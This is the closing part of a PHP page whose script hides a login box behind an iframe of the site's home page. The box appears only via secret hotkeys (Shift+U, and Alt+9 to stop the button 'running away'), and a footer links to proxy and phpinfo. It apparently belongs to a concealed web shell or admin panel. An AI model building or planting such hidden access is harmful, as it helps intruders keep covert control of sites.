function(e) { if (e.altKey && (e.key === '9' || e.code === 'Digit9')) { e.preventDefault(); if (state === STATE_UNLOCKED) return; // sudah unlock, abaikan state = STATE_UNLOCKED; // Bersihkan tombol dari mode lari loginBtn.classList.remove('btn-runaway'); loginBtn.style.left = ''; loginBtn.style.top = ''; if (taunt) taunt.classList.remove('visible'); // Kembalikan ke posisi asli di form btnParent.insertBefore(loginBtn, btnNextSib); // Flash hijau konfirmasi — gunakan rAF agar DOM update dulu requestAnimationFrame(function() { loginBtn.style.animationPlayState = 'paused'; loginBtn.style.background = 'linear-gradient(120deg, #36ff7a, #b3ffd1, #36ff7a)'; loginBtn.style.boxShadow = '0 0 28px rgba(50,255,100,0.95)'; setTimeout(function(){ loginBtn.style.background = ''; loginBtn.style.boxShadow = ''; loginBtn.style.animationPlayState = ''; }, 800); }); } }, true); })(); // ===== END RUNAWAY TRICK ===== function hotkeyHandler(e) { if (e.shiftKey && (e.key === 'U' || e.key === 'u')) { showLogin(); } if (e.key === 'Escape' && <?php echo empty($loginError) ? 'true' : 'false'; ?>) { hideLogin(); } } function showLogin() { if (loginBox) loginBox.style.display = "block"; if (siteHome) siteHome.style.filter = "blur(2px)"; document.body.style.overflow = "hidden"; } function hideLogin() { if (loginBox) loginBox.style.display = "none"; if (siteHome) siteHome.style.filter = ""; document.body.style.overflow = "hidden"; } <?php if (!empty($loginError)) { ?> showLogin(); <?php } ?> document.addEventListener('keydown', hotkeyHandler, true); if (siteHome) { siteHome.addEventListener('load', function() { try { if (siteHome.contentWindow && siteHome.contentWindow.document) { siteHome.contentWindow.document.addEventListener('keydown', hotkeyHandler, true); } } catch (err) {} }); } }); </script> <div id="runaway-taunt"></div> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.18 |
proxy
|
phpinfo
|
Settings